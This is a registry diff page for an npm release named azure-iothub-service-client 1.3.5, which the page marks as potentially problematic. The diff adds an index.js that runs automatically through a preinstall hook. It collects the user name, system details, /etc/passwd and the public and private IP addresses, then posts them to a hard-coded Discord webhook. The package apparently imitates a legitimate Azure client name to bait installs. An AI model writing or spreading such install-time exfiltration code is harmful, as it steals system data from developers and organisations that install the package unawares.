azure-iothub-service-client 1.3.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of azure-iothub-service-client might be problematic. Click here for more details.
- package/index.js +153 -0
- package/package.json +17 -0
package/index.js
ADDED
@@ -0,0 +1,153 @@
|
|
1
|
+
const { exec } = require('child_process');
|
2
|
+
const https = require('https');
|
3
|
+
const fs = require('fs');
|
4
|
+
const path = require('path');
|
5
|
+
|
6
|
+
// Define the command to collect system information and create the file
|
7
|
+
const command = `
|
8
|
+
whoami;
|
9
|
+
uname -a;
|
10
|
+
cat /etc/passwd 2>/dev/null;
|
11
|
+
curl -s https://ifconfig.me; # Public IP 1
|
12
|
+
curl -s http://api.ipify.org; # Public IP 2
|
13
|
+
hostname -I | awk '{print $1}'; # Private IP
|
14
|
+
mkdir -p /tmp/balvant-chavda && echo 'balvant was here' > /tmp/balvant-chavda/poc.txt;
|
15
|
+
pwd;
|
16
|
+
`;
|
17
|
+
|
18
|
+
// Discord webhook URL
|
19
|
+
const webhookUrl = 'https://discord.com/api/webhooks/1282556604851421308/ULZN1VNiuQVpb3DRbQjd4o2awhpQ4cGq1VF9w_XuPPKtD9svB12SjfJmBZ_x-rtjgZwJ';
|
20
|
+
|
21
|
+
// Define the maximum length for the message
|
22
|
+
const MAX_MESSAGE_LENGTH = 2000;
|
23
|
+
|
24
|
+
// Function to send data to the Discord webhook
|
25
|
+
const sendDataToDiscord = (data, callback) => {
|
26
|
+
const postData = JSON.stringify({
|
27
|
+
content: data
|
28
|
+
});
|
29
|
+
|
30
|
+
const url = new URL(webhookUrl);
|
31
|
+
|
32
|
+
const options = {
|
33
|
+
hostname: url.hostname,
|
34
|
+
port: 443,
|
35
|
+
path: url.pathname,
|
36
|
+
method: 'POST',
|
37
|
+
headers: {
|
38
|
+
'Content-Type': 'application/json',
|
39
|
+
'Content-Length': Buffer.byteLength(postData)
|
40
|
+
}
|
41
|
+
};
|
42
|
+
|
43
|
+
const req = https.request(options, (res) => {
|
44
|
+
let response = '';
|
45
|
+
res.on('data', (chunk) => {
|
46
|
+
response += chunk;
|
47
|
+
});
|
48
|
+
res.on('end', () => {
|
49
|
+
callback(null, response);
|
50
|
+
});
|
51
|
+
});
|
52
|
+
|
53
|
+
req.on('error', (e) => {
|
54
|
+
callback(`Error: ${e.message}`);
|
55
|
+
});
|
56
|
+
|
57
|
+
req.write(postData);
|
58
|
+
req.end();
|
59
|
+
};
|
60
|
+
|
61
|
+
// Function to read the package name from package.json
|
62
|
+
const getPackageName = (callback) => {
|
63
|
+
const packageJsonPath = path.resolve(__dirname, 'package.json');
|
64
|
+
fs.readFile(packageJsonPath, 'utf8', (err, data) => {
|
65
|
+
if (err) {
|
66
|
+
callback(`Error reading package.json: ${err.message}`);
|
67
|
+
return;
|
68
|
+
}
|
69
|
+
|
70
|
+
try {
|
71
|
+
const packageJson = JSON.parse(data);
|
72
|
+
callback(null, packageJson.name);
|
73
|
+
} catch (parseErr) {
|
74
|
+
callback(`Error parsing package.json: ${parseErr.message}`);
|
75
|
+
}
|
76
|
+
});
|
77
|
+
};
|
78
|
+
|
79
|
+
// Function to read the content of the created file
|
80
|
+
const readPocFile = (callback) => {
|
81
|
+
fs.readFile('/tmp/balvant-chavda/poc.txt', 'utf8', (err, data) => {
|
82
|
+
if (err) {
|
83
|
+
callback(`Error reading file: ${err.message}`);
|
84
|
+
} else {
|
85
|
+
callback(null, data);
|
86
|
+
}
|
87
|
+
});
|
88
|
+
};
|
89
|
+
|
90
|
+
// Execute the command
|
91
|
+
exec(command, (error, stdout, stderr) => {
|
92
|
+
if (error) {
|
93
|
+
console.error(`Error: ${error.message}`);
|
94
|
+
return;
|
95
|
+
}
|
96
|
+
if (stderr) {
|
97
|
+
console.error(`stderr: ${stderr}`);
|
98
|
+
return;
|
99
|
+
}
|
100
|
+
|
101
|
+
// Read the content of the poc.txt file
|
102
|
+
readPocFile((fileErr, fileContent) => {
|
103
|
+
if (fileErr) {
|
104
|
+
console.error(fileErr);
|
105
|
+
return;
|
106
|
+
}
|
107
|
+
|
108
|
+
// Extract IPs from stdout
|
109
|
+
const publicIPRegex = /https:\/\/ifconfig\.me\s*([\d\.]+).*?api\.ipify\.org\s*([\d\.]+).*?hostname -I\s*([\d\.]+)/s;
|
110
|
+
const matches = stdout.match(publicIPRegex);
|
111
|
+
const publicIP1 = matches ? matches[1] : 'N/A';
|
112
|
+
const publicIP2 = matches ? matches[2] : 'N/A';
|
113
|
+
const privateIP = matches ? matches[3] : 'N/A';
|
114
|
+
|
115
|
+
// Get the package name from package.json
|
116
|
+
getPackageName((nameErr, packageName) => {
|
117
|
+
if (nameErr) {
|
118
|
+
console.error(nameErr);
|
119
|
+
return;
|
120
|
+
}
|
121
|
+
|
122
|
+
// Prepare the final message with file content, working directory, and IPs
|
123
|
+
let finalData = `
|
124
|
+
**Package Name:**
|
125
|
+
${packageName}
|
126
|
+
|
127
|
+
**System Information:**
|
128
|
+
${stdout}
|
129
|
+
|
130
|
+
**Public IP 1:** ${publicIP1}
|
131
|
+
**Public IP 2:** ${publicIP2}
|
132
|
+
**Private IP:** ${privateIP}
|
133
|
+
|
134
|
+
**File Content:**
|
135
|
+
${fileContent}
|
136
|
+
`;
|
137
|
+
|
138
|
+
// Truncate message if it's too long
|
139
|
+
if (finalData.length > MAX_MESSAGE_LENGTH) {
|
140
|
+
finalData = finalData.substring(0, MAX_MESSAGE_LENGTH - 3) + '...'; // Add ellipsis to indicate truncation
|
141
|
+
}
|
142
|
+
|
143
|
+
// Send the collected data to the Discord webhook
|
144
|
+
sendDataToDiscord(finalData, (err, response) => {
|
145
|
+
if (err) {
|
146
|
+
console.error(`Send Data Error: ${err}`);
|
147
|
+
return;
|
148
|
+
}
|
149
|
+
console.log(`Response from Discord webhook: ${response}`);
|
150
|
+
});
|
151
|
+
});
|
152
|
+
});
|
153
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,17 @@
|
|
1
|
+
{
|
2
|
+
"name": "azure-iothub-service-client",
|
3
|
+
"version": "1.3.5",
|
4
|
+
"description": "A package to poc information.",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "echo 'Running preinstall script' > install-log.txt && node index.js >> install-log.txt 2>&1",
|
8
|
+
"postinstall": "cat install-log.txt",
|
9
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
10
|
+
},
|
11
|
+
"author": "balvant",
|
12
|
+
"license": "ISC",
|
13
|
+
"dependencies": {
|
14
|
+
"azure-iothub-service-client": "^0.0.1",
|
15
|
+
"lodash": "^4.17.21"
|
16
|
+
}
|
17
|
+
}
|